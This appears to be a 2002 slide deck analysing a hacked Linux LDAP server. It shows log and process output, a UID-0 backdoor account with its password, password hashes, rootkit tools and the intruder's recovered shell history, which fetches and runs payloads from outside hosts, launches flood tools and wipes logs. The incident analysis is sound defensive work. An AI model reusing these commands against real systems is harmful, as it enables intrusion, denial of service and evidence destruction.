These slides demonstrate the process I used to analyze a compromised (hacked) Linux Server

1. Compromised Linux Servers: An Analysis By: Anand Vaidya, vaidya.anand@gmail.com Presented At: LUGS Meeting on 13-Sep-2002

3. Network Layout

6. [root@ldap2 /root]# ps -ef [root@ldap2 /root]# [root@ldap2 /root]# netstat -vant [root@ldap2 /root]# [root@ldap2 /root]# last root pts/1 a4.net8.pa Thu Apr 20 11:26 still logged in root pts/1 x.y.z.11 Thu Apr 20 11:21 - 11:25 (00:04) hacker pts/1 adsl-petach-tiqw Mon Apr 10 06:58 - 07:30 (00:32) hacker pts/2 adsl-petach-tiqw Wed Apr 5 20:01 - 22:02 (02:01) hacker ftpd12348 adsl-petach-tiqw Wed Apr 5 19:59 - 20:03 (00:04) hacker pts/1 adsl-petach-tiqw Wed Apr 5 19:58 - 22:02 (02:04) hacker pts/1 adsl-petach-tiqw Tue Apr 4 00:47 - 01:38 (00:51) wtmp begins Tue Apr 4 00:47:04 2002

7. [root@ldap2 /root]# lastlog Username Port From Latest root pts/1 adsl1.net8.pa Thu Apr 20 11:26:10 +0800 2002 bin **Never logged in** daemon **Never logged in** adm **Never logged in** lp **Never logged in** sync **Never logged in** shutdown **Never logged in** halt **Never logged in** mail **Never logged in** news **Never logged in** uucp **Never logged in** operator **Never logged in** games **Never logged in** gopher **Never logged in** Note:The adsl... is me

8. ftp ftp 66.46.42.2 Wed Feb 10 04:11:08 +0800 2002 nobody **Never logged in** nscd **Never logged in** mailnull **Never logged in** ident **Never logged in** rpc **Never logged in** rpcuser **Never logged in** xfs **Never logged in** admin **Never logged in** kid **Never logged in** ra pts/1 adsl1.net3.pa Thu Apr 20 11:26:10 +0800 2002 hacker pts/1 adsl-petach-tiqw Mon Apr 10 06:58:25 +0800 2002 NOTE: 66.46.42.2 : IP is from Canada, AT&T dialup/adsl Account “ra” is a UID=GID=0, password=”ra”, allowed ftp access the last-but-one line is me testing ra-ftp acct

9. [root@ldap2 /root]# /sbin/ifconfig eth0 Link encap:Ethernet HWaddr 00:50:8B:D3:AB:1D inet addr:1.2.3.2 Bcast:1.2.3.191 Mask:255.255.255.192 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:105405624 errors:0 dropped:0 overruns:0 frame:0 TX packets:13046587 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 Interrupt:5 Base address:0x3000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:237 errors:0 dropped:0 overruns:0 frame:0 TX packets:237 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 [root@ldap2 /root]# Note that Linux kernel does not show “Promiscuous” there are 2 problems: kernel, no promisc proc running

10. [root@ldap2 /root]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/var/ftp: nobody:x:99:99:Nobody:/: nscd:x:28:28:NSCD Daemon:/:/bin/false mailnull:x:47:47::/var/spool/mqueue:/dev/null

11. ident:x:98:98:pident user:/:/bin/false rpc:x:32:32:Portmapper RPC user:/:/bin/false rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false admin:x:500:4::/home/admin:/bin/bash kid:x:2764:2764::/:/bin/bash ra:x:0:0::/:/bin/bash hacker:x:2765:2765::/var/hacker:/bin/bash more accounts follow, deleted by anand to shorten the presentation And an extract from /etc/groups: kid:$1$WlLTPQXq$tzU2usdhCMG3KQKAm4JKI0:11776:0:99999:7:::134538460 ra::10865:0:99999:7:::134538460 hacker:$1$L8/uol5e$FqL63oc0Z.s8K0WQkmdvK1:11786:0:99999:7::: [root@ldap2 log]#

12. [anand@anand anand]$ ftp 1.2.3.1 Connected to1.2.3.1 . 220 ldap1 FTP server (Version wu-2.6.2(2) Sat Dec 22 15:48:35 EET 2001) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type [anand@anand anand]$ ftp 1.2.3.2 Connected to 1.2.3.2. 220 ldap2 FTP server (Version wu-2.6.1-16) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type Name (1.2.3.2:anand): ra 331 Password required for ra. Password: 230 User ra logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 227 Entering Passive Mode (1,2,3,2,138,61) 150 Opening ASCII mode data connection for directory listing. total 240 drwxr-xr-x 2 root root 2048 Jun 10 07:02 bin drwxr-xr-x 3 root root 1024 Sep 13 2001 boot ....

13. Apr 16 04:02:01 ldap2 syslogd 1.4-0: restart. Apr 16 04:30:41 ldap2 ftpd[29786]: lost connection to 211.20.12.238 [211.20.12.238] Apr 16 04:30:41 ldap2 ftpd[29786]: FTP session closed Apr 16 05:19:55 ldap2 ftpd[29803]: FTP session closed Apr 16 20:47:05 ldap2 ftpd[30111]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM ANancy-104-1-4-225.abo.wanadoo.fr [80.14.221.225], anonymous Apr 16 20:47:06 ldap2 ftpd[30111]: FTP session closed Apr 17 01:11:18 ldap2 ftpd[30205]: FTP session closed Apr 17 01:14:03 ldap2 ftpd[30206]: FTP session closed Apr 17 01:20:22 ldap2 ftpd[30209]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM rrcs-nys-24-97-176-140.bi z.rr.com [24.97.176.140], ftp Apr 17 01:20:22 ldap2 ftpd[30209]: FTP session closed Apr 18 01:58:58 ldap2 ftpd[30836]: FTP session closed Apr 18 02:01:25 ldap2 ftpd[30846]: FTP session closed Apr 18 02:27:18 ldap2 ftpd[30851]: FTP session closed Apr 18 02:29:54 ldap2 ftpd[30852]: FTP session closed Apr 18 10:45:06 ldap2 ftpd[31157]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM pD9E18307.dip.t-dialin.ne t [217.225.131.7], anonymous

14. [root@ldap2 /root]# top n 1 b PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 1 root 8 0 124 72 52 S 0.0 0.0 0:04 init 2 root 9 0 0 0 0 SW 0.0 0.0 0:00 keventd 3 root 9 0 0 0 0 SW 0.0 0.0 0:00 kswapd 4 root 9 0 0 0 0 SW 0.0 0.0 0:00 kreclaimd 5 root 9 0 0 0 0 SW 0.0 0.0 0:00 bdflush 6 root 9 0 0 0 0 SW 0.0 0.0 0:00 kupdated 7 root -1 -20 0 0 0 SW< 0.0 0.0 0:00 mdrecoveryd 524 root 9 0 352 332 252 S 0.0 0.2 0:28 syslogd 529 root 9 0 992 656 344 S 0.0 0.5 0:00 klogd 679 root 9 0 132 44 28 S 0.0 0.0 0:00 automount 691 daemon 9 0 108 44 44 S 0.0 0.0 0:00 atd 706 root 9 0 660 592 488 S 0.0 0.4 0:20 sshd 726 root 9 0 668 600 456 S 0.0 0.4 0:00 xinetd 767 root 8 0 1296 996 776 S 0.0 0.7 0:00 sendmail 780 root 9 0 108 52 36 S 0.0 0.0 0:00 gpm 792 root 9 0 2840 864 672 S 0.0 0.6 0:00 nessusd 804 root 9 0 588 580 536 S 0.0 0.4 0:00 crond 840 xfs 9 0 3664 2496 956 S 0.0 1.9 0:00 xfs 866 root 9 0 5120 4976 1144 S 0.0 3.9 0:00 slapd

15. 872 root 9 0 64 4 4 S 0.0 0.0 0:00 mingetty 873 root 9 0 64 4 4 S 0.0 0.0 0:00 mingetty 874 root 9 0 2848 2632 2444 S 0.0 2.0 0:00 kdm 879 root 9 0 5120 4976 1144 S 0.0 3.9 0:00 slapd 880 root 9 0 5120 4976 1144 S 0.0 3.9 0:23 slapd 884 root 9 0 12540 12M 1772 S 0.0 9.8 0:00 X 888 root 8 0 4720 4188 3808 S 0.0 3.3 0:00 kdm 937 root 9 0 1132 936 732 S 0.0 0.7 0:00 slapd 942 root 9 0 5120 4976 1144 S 0.0 3.9 2:17 slapd 944 root 9 0 5120 4976 1144 S 0.0 3.9 2:16 slapd 8214 hacker 9 0 504 504 424 S 0.0 0.3 0:00 bnc 20750 root 9 0 660 660 548 S 0.0 0.5 0:00 nfsd 32407 root 9 0 612 608 540 S 0.0 0.4 0:00 crond 32408 root 8 0 908 908 768 S 0.0 0.7 0:00 run-parts 32410 root 9 0 552 552 464 S 0.0 0.4 0:00 awk 32411 root 9 0 880 880 756 S 0.0 0.6 0:00 sa1 32413 root 9 0 512 512 448 S 0.0 0.4 0:00 sadc 32485 root 10 0 1848 1828 1480 R 0.0 1.4 0:00 sshd 32486 root 11 0 1352 1352 1024 S 0.0 1.0 0:00 bash 32555 root 12 0 1024 1024 828 R 0.0 0.8 0:00 top [root@ldap2 /root]#

16. [root@ldap1 /tmp]# ls -la /tmp total 9 drwxrwxrwt 9 root root 1024 Jun 24 10:48 . drwxr-xr-x 3 501 ftp 1024 Jun 17 03:41 ., [root@ldap2 mail]# cat /var/hacker/ .bash_history .bash_profile .emacs .screenrc Mail m.tgz .bash_logout .bashrc .kde Desktop a [root@ldap2 mail]# cat /var/hacker/ [root@ldap2 myrk]# cat ./ .1addr linsniffer ps ssh_random_seed tcp.log .1file lpd pwd sshd utils .1proc ls sense sshd_config wipe hideps netstat ssh_host_key string install new-host ssh_host_key.pub sysinfo Notes: The directory &quot;.,&quot; (dot-comma) created by the intruder. Linsniffer stores the log in a file called tcp.log I had to use “cat <tab>” since “ls” was trojaned, and would not list anything at all!

17. bnc 8214 hacker cwd DIR 72,7 0 10082 /var/hacker/bnc2.6.4 (deleted) bnc 8214 hacker rtd DIR 72,8 1024 2 / bnc 8214 hacker txt REG 72,7 25784 10111 /var/hacker/bnc2.6.4/bnc (deleted) bnc 8214 hacker mem REG 72,8 471781 44354 /lib/ld-2.2.2.so bnc 8214 hacker mem REG 72,8 445289 44372 /lib/libnsl-2.2.2.so bnc 8214 hacker mem REG 72,8 274054 44401 /lib/libresolv-2.2.2.so bnc 8214 hacker mem REG 72,8 95362 44365 /lib/libcrypt-2.2.2.so bnc 8214 hacker mem REG 72,8 5634864 4035 /lib/i686/libc-2.2.2.so bnc 8214 hacker 0u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 1u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 2u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 3u IPv4 272344 TCP *:12300 (LISTEN Note: Look at this block copied from LSOF: He has installed/started IRC bouncer (bnc) and deleted the files. Other such processes were: sysd, running in place of sshd, a fake nfsd ( what was that meant for? )

18. Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:389 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6010 0.0.0.0:* LISTEN tcp 1 0 1.2.3.1:21 62.211.226.191:51221 CLOSE_WAIT tcp 0 48 1.2.3.1:22 mylaptop:40657 ESTABLISHED tcp 0 0 1.2.3.1:389 another_legitserver:4746 ESTABLISHED [root@ldap1 /root]# Note: With my version of netstat The FTP connection just hangs, since firewall is blocking outgoing FTP, See the IP 62.x.x.x in Foreign Address column?

19. [root@ldap2 myrk]#tail /etc -n 10 /etc/rc.d/rc.sysinit dmesg > /var/log/dmesg sleep 1 kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1 } & if [ &quot;$PROMPT&quot; != &quot;no&quot; ]; then /sbin/getkey i && touch /var/run/confirm fi wait nfsd -q -p 54789 This is not a real NFS daemon! It listens for commands of some sort, though I could not figure out what exactly it was meant for

20. [root@ldap2 myrk]# cat /var/hacker/.bash_history~ wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz exec ./a 8245 wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz ls rm -r m2.tar.gz perl udp.pl 62.0.115.207 0 0 rm -r a.c ls gcc -o p packit.c ls ./p 62.0.115.207 0 ./p 62.0.115.207 0 ls bash_history was fine, shows only legit traffic. I found a bash_history~ (created by vi or did he copy?) that shows intruder activity!

21. rm -r packit.c rm -r udp.pl rm -r p tar xvfz bnc2.6.4.tar.gz;cd bnc2.6.4;./configure;make;./bncsetup ./bncsetup ./bnc ./bnc ./bnc ./bnc killall -9 bnc ./bnc pico bnc.conf cd .. ls rm -r bnc2.6.4 rm -r bnc2.6.4.tar.gz gcc -o a a.c;rm -r a.c;./a ls ./a ./a 1.2.3

22. ls rm -r a gcc -o a a.c;rm -r a.c;./a wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w;ls wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w wget http://home.dal.net/oc248/m.tgz Note: Why download DirectX from MS? What was he trying to do? There is nothing at home.dal.net now.

23. wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz exec ./a 12355 exec ./a 12373 cd myrk; pico install; cd myrk ./install ./a wget http://home.dal.net/oc248/m.tgz ls tar xvfz m.tgz ./a exec ./a 20689 cd myrk pico install cd .. ./a mutt;exit [root@ldap2 myrk]# Note: The file black.tar.gz is still available at angelfire. Go get it if you want to analyse further.

24. 269 ipconfig 270 ifconfig 271 exirt 272 exit 273 cd costy 274 ls 275 id 276 cd logdel/ 277 export blah=freekevin 278 ./vanish2 sysd ti221110a080-0520.bb.online.no 80.213.2.8 279 cd /home/ 280 ls 281 cd TTX/ 282 ls; cd .. 284 cd admin/ 285 ls 286 cd Desktop/

25. 304 cd root/ 305 ls 306 last 307 cd /tmp/., 308 ls 309 rm -rf chmrk-0.3.tgz 310 cd ., 311 ls 312 cd /etc/ 313 cat passwd 314 who 314 who 315 pico passwd 316 export TERM=vt100 317 pico passwd 318 pico shadow 319 cd /var/tmp 320 mkdir ., 321 cd ., 322 ls 323 wget www.geocities.com/freeaxcess/chmrk-0.9.tgz

26. 324 wget www.geocities.com/freeaxcess/chmrk-0.9.tgz 325 ping www.geocities.com 326 cd /tmp/., 327 la; ls ; cd ., ; ls 331 alias ls=&quot;ls --color=always&quot; 332 ls -la 333 cd logdel 334 ls 335 ./vanish2 336 expotr blah=768 337 export blah=768 338 ls 339 ./vanish2 340 export blah768=freekevin 341 ./vanish2 342 ./vanish2 sysd crionized.net 217.8.139.50 VANISH2 is used to erase any traces left behind (syslogs, utmp, wtmp etc)

30. File Details: [anand@aries massrooter]$ ls 1* lpd.conf packet.pl s* ssh/ wum.c ybsd* YRH* bind/ Makefile portscan.c scan* targets wus* YBSD* YRH.c brute* p* pscan.c scan.conf targets.txt wus.c YBSD.c ftpd/ packet* r00t* sec* wu* xinetd* ylpd* lpd/ packet.c rpc/ src/ wum* xinetd.c ylpd.c [anand@aries massrooter]$ Notes: wum, wus, ftpd/ contain FTP exploits similar comments for lpd bind rpc etc., packet.pl is a DoS tool r00t is a script that runs the attacks against the selected hosts